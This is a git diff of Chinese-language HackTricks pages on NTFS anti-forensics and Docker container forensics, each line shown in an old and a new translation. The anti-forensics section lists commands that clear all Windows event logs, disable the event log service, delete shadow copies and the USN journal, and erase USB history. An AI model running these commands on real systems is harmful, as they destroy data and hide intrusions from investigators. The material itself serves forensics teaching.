* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
# 时间戳
|
# 时间戳
|
||||||
|
|
||||||
攻击者可能对**更改文件的时间戳**感兴趣,以避免被检测到。\
|
攻击者可能有兴趣**更改文件的时间戳**以避免被检测。\
|
||||||
可以在MFT的`$STANDARD_INFORMATION`和`$FILE_NAME`属性中找到时间戳。
|
可以在MFT中的属性`$STANDARD_INFORMATION`和`$FILE_NAME`中找到时间戳。
|
||||||
|
|
||||||
这两个属性都有4个时间戳:**修改**、**访问**、**创建**和**MFT注册表修改**(MACE或MACB)。
|
这两个属性都有4个时间戳:**修改**、**访问**、**创建**和**MFT注册修改**(MACE或MACB)。
|
||||||
|
|
||||||
**Windows资源管理器**和其他工具显示来自**`$STANDARD_INFORMATION`**的信息。
|
**Windows资源管理器**和其他工具显示来自**`$STANDARD_INFORMATION`**的信息。
|
||||||
|
|
||||||
## TimeStomp - 反取证工具
|
## TimeStomp - 反取证工具
|
||||||
|
|
||||||
此工具**修改**`$STANDARD_INFORMATION`中的时间戳信息,**但不**修改`$FILE_NAME`中的信息。因此,可以**识别**可疑**活动**。
|
该工具**修改**了**`$STANDARD_INFORMATION`**中的时间戳信息,**但不会**修改**`$FILE_NAME`**中的信息。因此,可以**识别**出**可疑活动**。
|
||||||
|
|
||||||
## Usnjrnl
|
## Usnjrnl
|
||||||
|
|
||||||
**USN日志**(更新序列号日志)或更改日志,是Windows NT文件系统(NTFS)的一个特性,**记录对卷所做的更改**。\
|
**USN日志**(更新序列号日志)是Windows NT文件系统(NTFS)的一个功能,**记录对卷所做更改的记录**。\
|
||||||
可以使用工具[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)来搜索此记录的修改。
|
可以使用工具[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)来搜索对此记录的修改。
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (449).png>)
|
![](<../../.gitbook/assets/image (449).png>)
|
||||||
|
|
||||||
上图是**工具**显示的**输出**,可以看到对文件进行了一些**更改**。
|
上图是该**工具显示的输出**,可以看到对文件进行了一些**更改**。
|
||||||
|
|
||||||
## $LogFile
|
## $LogFile
|
||||||
|
|
||||||
为了确保系统崩溃后能够一致地恢复关键文件系统结构,对文件系统的所有元数据更改都会被记录下来。这称为[预写日志](https://en.wikipedia.org/wiki/Write-ahead_logging)。\
|
文件系统的所有元数据更改都会被记录下来,以确保系统崩溃后可以一致地恢复关键文件系统结构。这称为[预写式日志记录](https://en.wikipedia.org/wiki/Write-ahead_logging)。\
|
||||||
记录的元数据存储在一个名为“**$LogFile**”的文件中,该文件位于NTFS文件系统的根目录中。\
|
记录的元数据存储在名为“**$LogFile**”的文件中,该文件位于NTFS文件系统的根目录中。\
|
||||||
可以使用像[LogFileParser](https://github.com/jschicht/LogFileParser)这样的工具来解析这个文件并找到更改。
|
可以使用诸如[LogFileParser](https://github.com/jschicht/LogFileParser)之类的工具来解析此文件并查找更改。
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (450).png>)
|
![](<../../.gitbook/assets/image (450).png>)
|
||||||
|
|
||||||
同样,在工具的输出中可以看到进行了**一些更改**。
|
再次,在工具的输出中,可以看到**进行了一些更改**。
|
||||||
|
|
||||||
使用同一工具还可以识别时间戳被修改的**具体时间**:
|
使用相同的工具,可以确定**时间戳何时被修改**:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (451).png>)
|
![](<../../.gitbook/assets/image (451).png>)
|
||||||
|
|
||||||
* CTIME: 文件的创建时间
|
* CTIME:文件的创建时间
|
||||||
* ATIME: 文件的修改时间
|
* ATIME:文件的修改时间
|
||||||
* MTIME: 文件的MFT注册表修改时间
|
* MTIME:文件的MFT注册修改时间
|
||||||
* RTIME: 文件的访问时间
|
* RTIME:文件的访问时间
|
||||||
|
|
||||||
## `$STANDARD_INFORMATION`和`$FILE_NAME`比较
|
## `$STANDARD_INFORMATION`和`$FILE_NAME`比较
|
||||||
|
|
||||||
另一种识别可疑修改文件的方法是比较两个属性的时间,寻找**不匹配**。
|
另一种识别可疑修改文件的方法是比较两个属性上的时间,寻找**不匹配**。
|
||||||
|
|
||||||
## 纳秒
|
## 纳秒
|
||||||
|
|
||||||
**NTFS**时间戳的**精度**为**100纳秒**。因此,发现时间戳如2010-10-10 10:10:**00.000:0000的文件非常可疑**。
|
**NTFS**时间戳的**精度**为**100纳秒**。因此,找到时间戳为2010-10-10 10:10:**00.000:0000的文件非常可疑**。
|
||||||
|
|
||||||
## SetMace - 反取证工具
|
## SetMace - 反取证工具
|
||||||
|
|
||||||
此工具可以修改`$STARNDAR_INFORMATION`和`$FILE_NAME`两个属性。然而,从Windows Vista开始,需要一个活动的操作系统来修改这些信息。
|
该工具可以修改`$STARNDAR_INFORMATION`和`$FILE_NAME`两个属性。但是,从Windows Vista开始,需要一个实时操作系统来修改此信息。
|
||||||
|
|
||||||
# 数据隐藏
|
# 数据隐藏
|
||||||
|
|
||||||
NFTS使用簇和最小信息大小。这意味着,如果一个文件占用了一个簇和半个簇,那么**剩下的半个簇永远不会被使用**,直到文件被删除。因此,可以**在这个松散空间中隐藏数据**。
|
NFTS使用一个簇和最小信息大小。这意味着如果一个文件占用一个半簇,**剩余的一半将永远不会被使用**,直到文件被删除。因此,可以**在这个空闲空间中隐藏数据**。
|
||||||
|
|
||||||
有像slacker这样的工具允许在这个“隐藏”的空间中隐藏数据。然而,对`$logfile`和`$usnjrnl`的分析可以显示添加了一些数据:
|
有一些工具,如slacker,允许在这个“隐藏”空间中隐藏数据。但是,对`$logfile`和`$usnjrnl`的分析可能会显示添加了一些数据:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (452).png>)
|
![](<../../.gitbook/assets/image (452).png>)
|
||||||
|
|
||||||
然后,可以使用像FTK Imager这样的工具来检索松散空间。注意,这类工具可以保存内容,使其模糊或甚至加密。
|
因此,可以使用FTK Imager等工具检索空闲空间。请注意,这种工具可能会保存内容模糊化或甚至加密。
|
||||||
|
|
||||||
# UsbKill
|
# UsbKill
|
||||||
|
|
||||||
这是一个工具,如果检测到USB端口有任何变化,它将**关闭计算机**。\
|
这是一个工具,如果检测到USB端口发生任何更改,将**关闭计算机**。\
|
||||||
发现这一点的方法是检查正在运行的进程并**审查每个正在运行的python脚本**。
|
发现这一点的方法是检查运行中的进程并**查看每个运行的Python脚本**。
|
||||||
|
|
||||||
# Live Linux发行版
|
# 实时Linux发行版
|
||||||
|
|
||||||
这些发行版是**在RAM内存中执行**的。唯一能检测到它们的方式是**如果NTFS文件系统以写权限挂载**。如果它只是以读权限挂载,将无法检测到入侵。
|
这些发行版是**在RAM内存中执行**的。唯一的检测方法是**如果NTFS文件系统以写权限挂载**。如果只以读权限挂载,将无法检测入侵。
|
||||||
|
|
||||||
# 安全删除
|
# 安全删除
|
||||||
|
|
||||||
|
@ -95,88 +95,75 @@ NFTS使用簇和最小信息大小。这意味着,如果一个文件占用了
|
||||||
|
|
||||||
## 禁用时间戳 - UserAssist
|
## 禁用时间戳 - UserAssist
|
||||||
|
|
||||||
这是一个注册表键,维护了用户每次运行可执行文件的日期和时间。
|
这是一个维护用户运行每个可执行文件的日期和时间的注册表键。
|
||||||
|
|
||||||
禁用UserAssist需要两个步骤:
|
禁用UserAssist需要两个步骤:
|
||||||
|
|
||||||
1. 设置两个注册表键,`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs`和`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`,都设置为零,以表示我们希望禁用UserAssist。
|
1. 设置两个注册表键,`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs`和`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`,都设置为零,以表示我们要禁用UserAssist。
|
||||||
2. 清除看起来像`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`的注册表子树。
|
2. 清除类似`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`的注册表子树。
|
||||||
|
|
||||||
## 禁用时间戳 - 预取
|
## 禁用时间戳 - Prefetch
|
||||||
|
|
||||||
这将保存有关执行的应用程序的信息,目的是提高Windows系统的性能。然而,这也可以用于取证实践。
|
这将保存有关执行的应用程序的信息,目的是提高Windows系统的性能。但是,这也对取证实践有用。
|
||||||
|
|
||||||
* 执行`regedit`
|
* 执行`regedit`
|
||||||
* 选择文件路径`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
|
* 选择文件路径`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
|
||||||
* 右键单击`EnablePrefetcher`和`EnableSuperfetch`
|
* 右键单击`EnablePrefetch`和`EnableSuperfetch`
|
||||||
* 选择修改每个这些,将值从1(或3)更改为0
|
* 对每个进行修改,将值从1(或3)更改为0
|
||||||
* 重启
|
* 重新启动
|
||||||
|
|
||||||
## 禁用时间戳 - 最后访问时间
|
## 禁用时间戳 - 最后访问时间
|
||||||
|
|
||||||
每当从Windows NT服务器上的NTFS卷打开文件夹时,系统都会花时间**更新每个列出文件夹上的时间戳字段**,称为最后访问时间。在频繁使用的NTFS卷上,这可能会影响性能。
|
每当从Windows NT服务器的NTFS卷中打开文件夹时,系统会花费时间**更新列出的每个文件夹上的时间戳字段**,称为最后访问时间。在使用频繁的NTFS卷上,这可能会影响性能。
|
||||||
|
|
||||||
1. 打开注册表编辑器(Regedit.exe)。
|
1. 打开注册表编辑器(Regedit.exe)。
|
||||||
2. 浏览到`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`。
|
2. 浏览到`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`。
|
||||||
3. 查找`NtfsDisableLastAccessUpdate`。如果它不存在,添加这个DWORD并将其值设置为1,这将禁用该过程。
|
3. 查找`NtfsDisableLastAccessUpdate`。如果不存在,请添加此DWORD并将其值设置为1,以禁用该过程。
|
||||||
4. 关闭注册表编辑器,并重启服务器。
|
4. 关闭注册表编辑器,并重新启动服务器。
|
||||||
|
|
||||||
## 删除USB历史
|
## 删除USB历史记录
|
||||||
|
|
||||||
所有**USB设备条目**都存储在Windows注册表的**USBSTOR**注册表键下,每当您将USB设备插入PC或笔记本电脑时,都会创建子键。您可以在这里找到这个键`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**删除这个**你将删除USB历史。\
|
所有**USB设备条目**都存储在Windows注册表的**USBSTOR**注册表键下,该键包含每次将USB设备插入PC或笔记本电脑时创建的子键。您可以在此处找到此键 H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**删除此**将删除USB历史记录。\
|
||||||
您还可以使用工具[**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html)来确保您已经删除它们(并删除它们)。
|
您还可以使用工具[**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html)确保已删除它们(并删除它们)。
|
||||||
|
|
||||||
另一个保存USB信息的文件是`C:\Windows\INF`内的`setupapi.dev.log`。这也应该被删除。
|
保存有关USB的信息的另一个文件是`C:\Windows\INF`中的文件`setupapi.dev.log`。这也应该被删除。
|
||||||
|
|
||||||
## 禁用影子副本
|
## 禁用阴影副本
|
||||||
|
|
||||||
**列出**影子副本,使用`vssadmin list shadowstorage`\
|
使用`vssadmin list shadowstorage`**列出**阴影副本\
|
||||||
**删除**它们,运行`vssadmin delete shadow`
|
运行`vssadmin delete shadow`**删除**它们
|
||||||
|
|
||||||
您也可以按照[https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)中提出的步骤通过GUI删除它们
|
也可以通过GUI删除它们,按照[https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)中提出的步骤进行操作。
|
||||||
|
|
||||||
禁用影子副本:
|
要禁用阴影副本:
|
||||||
|
|
||||||
1. 转到Windows开始按钮,输入"services"到文本搜索框;打开服务程序。
|
1. 转到Windows开始按钮,输入“services”到文本搜索框中;打开服务程序。
|
||||||
2. 从列表中找到"Volume Shadow Copy",突出显示它,然后右键>属性。
|
2. 从列表中找到“Volume Shadow Copy”,突出显示它,然后右键单击 > 属性。
|
||||||
3. 从"启动类型"下拉菜单中,选择禁用,然后点击应用和确定。
|
3. 从“启动类型”下拉菜单中选择“禁用”,然后单击应用和确定。
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (453).png>)
|
![](<../../.gitbook/assets/image (453).png>)
|
||||||
|
|
||||||
也可以在注册表`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`中修改哪些文件将被复制到影子副本的配置。
|
还可以在注册表`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`中修改要复制到阴影副本中的文件的配置。
|
||||||
|
|
||||||
## 覆盖已删除的文件
|
## 覆盖已删除的文件
|
||||||
|
|
||||||
* 您可以使用**Windows工具**:`cipher /w:C` 这将指示cipher从C驱动器中的可用未使用磁盘空间中删除任何数据。
|
* 您可以使用一个**Windows工具**:`cipher /w:C` 这将指示cipher从C驱动器中的可用未使用磁盘空间中删除任何数据。
|
||||||
* 您还可以使用像[**Eraser**](https://eraser.heidi.ie)这样的工具
|
* 您还可以使用诸如[**Eraser**](https://eraser.heidi.ie)之类的工具
|
||||||
|
|
||||||
## 删除Windows事件日志
|
## 删除Windows事件日志
|
||||||
|
|
||||||
* Windows + R --> eventvwr.msc --> 展开"Windows日志" --> 右键单击每个类别并选择"清除日志"
|
* Windows + R --> eventvwr.msc --> 展开“Windows日志” --> 右键单击每个类别,选择“清除日志”
|
||||||
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
|
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
|
||||||
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
|
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
|
||||||
|
|
||||||
## 禁用Windows事件日志
|
## 禁用Windows事件日志
|
||||||
|
|
||||||
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
|
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
|
||||||
* 在服务部分禁用"Windows事件日志"服务
|
* 在服务部分内部禁用服务“Windows事件日志”
|
||||||
* `WEvtUtil.exec clear-log` 或 `WEvtUtil.exe cl`
|
* `WEvtUtil.exec clear-log` 或 `WEvtUtil.exe cl`
|
||||||
|
|
||||||
## 禁用$UsnJrnl
|
## 禁用$UsnJrnl
|
||||||
|
|
||||||
* `fsutil usn deletejournal /d c:`
|
* `fsutil usn deletejournal /d c:`
|
||||||
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,28 +1,28 @@
|
||||||
# Docker 取证
|
# Docker取证
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零到英雄学习 AWS 黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## 容器修改
|
## 容器修改
|
||||||
|
|
||||||
有疑虑某个 docker 容器被泄露:
|
有人怀疑某个Docker容器已被入侵:
|
||||||
```bash
|
```bash
|
||||||
docker ps
|
docker ps
|
||||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||||
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
|
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
|
||||||
```
|
```
|
||||||
你可以轻松地**找到对此容器相对于镜像所做的修改**,方法是:
|
您可以轻松地使用以下命令查找有关此容器对镜像所做修改:
|
||||||
```bash
|
```bash
|
||||||
docker diff wordpress
|
docker diff wordpress
|
||||||
C /var
|
C /var
|
||||||
|
@ -36,52 +36,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI
|
||||||
A /var/lib/mysql/mysql/general_log.CSV
|
A /var/lib/mysql/mysql/general_log.CSV
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
在上一个命令中 **C** 代表 **已更改**,**A** 代表 **已添加**。\
|
在上一个命令中,**C** 代表 **Changed**,**A** 代表 **Added**。\
|
||||||
如果你发现像 `/etc/shadow` 这样的一些有趣的文件被修改了,你可以使用以下命令从容器中下载它,以检查是否有恶意活动:
|
如果你发现一些有趣的文件,比如 `/etc/shadow` 被修改了,你可以从容器中下载它,以检查是否存在恶意活动:
|
||||||
```bash
|
```bash
|
||||||
docker cp wordpress:/etc/shadow.
|
docker cp wordpress:/etc/shadow.
|
||||||
```
|
```
|
||||||
你也可以通过**运行一个新容器并从中提取文件**来**与原始文件进行比较**:
|
您还可以通过运行一个新容器并从中提取文件来**与原始文件进行比较**:
|
||||||
```bash
|
```bash
|
||||||
docker run -d lamp-wordpress
|
docker run -d lamp-wordpress
|
||||||
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
|
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
|
||||||
diff original_shadow shadow
|
diff original_shadow shadow
|
||||||
```
|
```
|
||||||
如果您发现**有可疑文件被添加**,您可以访问容器并检查它:
|
如果发现**添加了一些可疑文件**,您可以访问容器并进行检查:
|
||||||
```bash
|
```bash
|
||||||
docker exec -it wordpress bash
|
docker exec -it wordpress bash
|
||||||
```
|
```
|
||||||
## 镜像修改
|
## 图像修改
|
||||||
|
|
||||||
当你获得一个导出的docker镜像(可能是`.tar`格式)时,你可以使用[**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases)来**提取修改摘要**:
|
当您获得一个导出的 Docker 镜像(可能是 `.tar` 格式)时,您可以使用 [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) 来 **提取修改的摘要**:
|
||||||
```bash
|
```bash
|
||||||
docker save <image> > image.tar #Export the image to a .tar file
|
docker save <image> > image.tar #Export the image to a .tar file
|
||||||
container-diff analyze -t sizelayer image.tar
|
container-diff analyze -t sizelayer image.tar
|
||||||
container-diff analyze -t history image.tar
|
container-diff analyze -t history image.tar
|
||||||
container-diff analyze -t metadata image.tar
|
container-diff analyze -t metadata image.tar
|
||||||
```
|
```
|
||||||
然后,您可以**解压缩**镜像并**访问 blobs**以搜索您可能在更改历史中发现的可疑文件:
|
然后,您可以**解压**图像并**访问 blobs**,以搜索您在更改历史记录中发现的可疑文件:
|
||||||
```bash
|
```bash
|
||||||
tar -xf image.tar
|
tar -xf image.tar
|
||||||
```
|
```
|
||||||
### 基础分析
|
### 基本分析
|
||||||
|
|
||||||
您可以通过运行以下命令从镜像获取**基础信息**:
|
您可以从运行的镜像中获取**基本信息**:
|
||||||
```bash
|
```bash
|
||||||
docker inspect <image>
|
docker inspect <image>
|
||||||
```
|
```
|
||||||
你也可以通过以下方式获取**变更历史**的摘要:
|
您还可以使用以下命令获取**更改历史记录摘要**:
|
||||||
```bash
|
```bash
|
||||||
docker history --no-trunc <image>
|
docker history --no-trunc <image>
|
||||||
```
|
```
|
||||||
你也可以使用以下命令从镜像**生成一个 dockerfile**:
|
您还可以使用以下命令从镜像生成**dockerfile**:
|
||||||
```bash
|
```bash
|
||||||
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
|
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
|
||||||
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
|
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
|
||||||
```
|
```
|
||||||
### Dive
|
### Dive
|
||||||
|
|
||||||
为了在docker镜像中找到添加/修改的文件,你也可以使用[**dive**](https://github.com/wagoodman/dive)(从[**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)下载)工具:
|
为了找到 Docker 镜像中添加/修改的文件,您还可以使用 [**dive**](https://github.com/wagoodman/dive)(从 [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0) 下载)实用程序:
|
||||||
```bash
|
```bash
|
||||||
#First you need to load the image in your docker repo
|
#First you need to load the image in your docker repo
|
||||||
sudo docker load < image.tar 1 ⨯
|
sudo docker load < image.tar 1 ⨯
|
||||||
|
@ -90,32 +90,16 @@ Loaded image: flask:latest
|
||||||
#And then open it with dive:
|
#And then open it with dive:
|
||||||
sudo dive flask:latest
|
sudo dive flask:latest
|
||||||
```
|
```
|
||||||
```markdown
|
这使您能够**浏览Docker镜像的不同blob**,并检查哪些文件已被修改/添加。**红色**表示已添加,**黄色**表示已修改。使用**tab**键切换到其他视图,使用**空格**键折叠/打开文件夹。
|
||||||
这使您能够**浏览不同的docker镜像blobs**,并检查哪些文件被修改/添加。**红色**表示添加,**黄色**表示修改。使用**tab**切换到其他视图,使用**空格**折叠/打开文件夹。
|
|
||||||
|
|
||||||
使用die,您将无法访问镜像不同阶段的内容。要做到这一点,您需要**解压每个层并访问它**。\
|
使用die,您将无法访问镜像不同阶段的内容。要这样做,您需要**解压缩每个层并访问它**。\
|
||||||
您可以从解压镜像的目录中解压所有层,执行:
|
您可以从解压缩镜像的目录中解压缩图像的所有层,执行:
|
||||||
```
|
|
||||||
```bash
|
```bash
|
||||||
tar -xf image.tar
|
tar -xf image.tar
|
||||||
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
|
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
|
||||||
```
|
```
|
||||||
## 从内存中获取凭证
|
## 从内存中获取凭据
|
||||||
|
|
||||||
请注意,当您在宿主机内运行一个docker容器时,**您可以通过执行`ps -ef`命令从宿主机上看到容器中运行的进程**。
|
请注意,当您在主机内运行一个docker容器时,**您可以从主机上运行`ps -ef`命令来查看容器中运行的进程**
|
||||||
|
|
||||||
因此(作为root用户),您可以**从宿主机转储进程的内存**并搜索**凭证**,就像[**以下示例中所展示的**](../../linux-hardening/privilege-escalation/#process-memory)。
|
因此(作为root用户)您可以从主机中**转储进程的内存**,并搜索凭据,就像[**以下示例**](../../linux-hardening/privilege-escalation/#process-memory)中一样。
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库**提交PR来分享您的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -1,54 +1,54 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
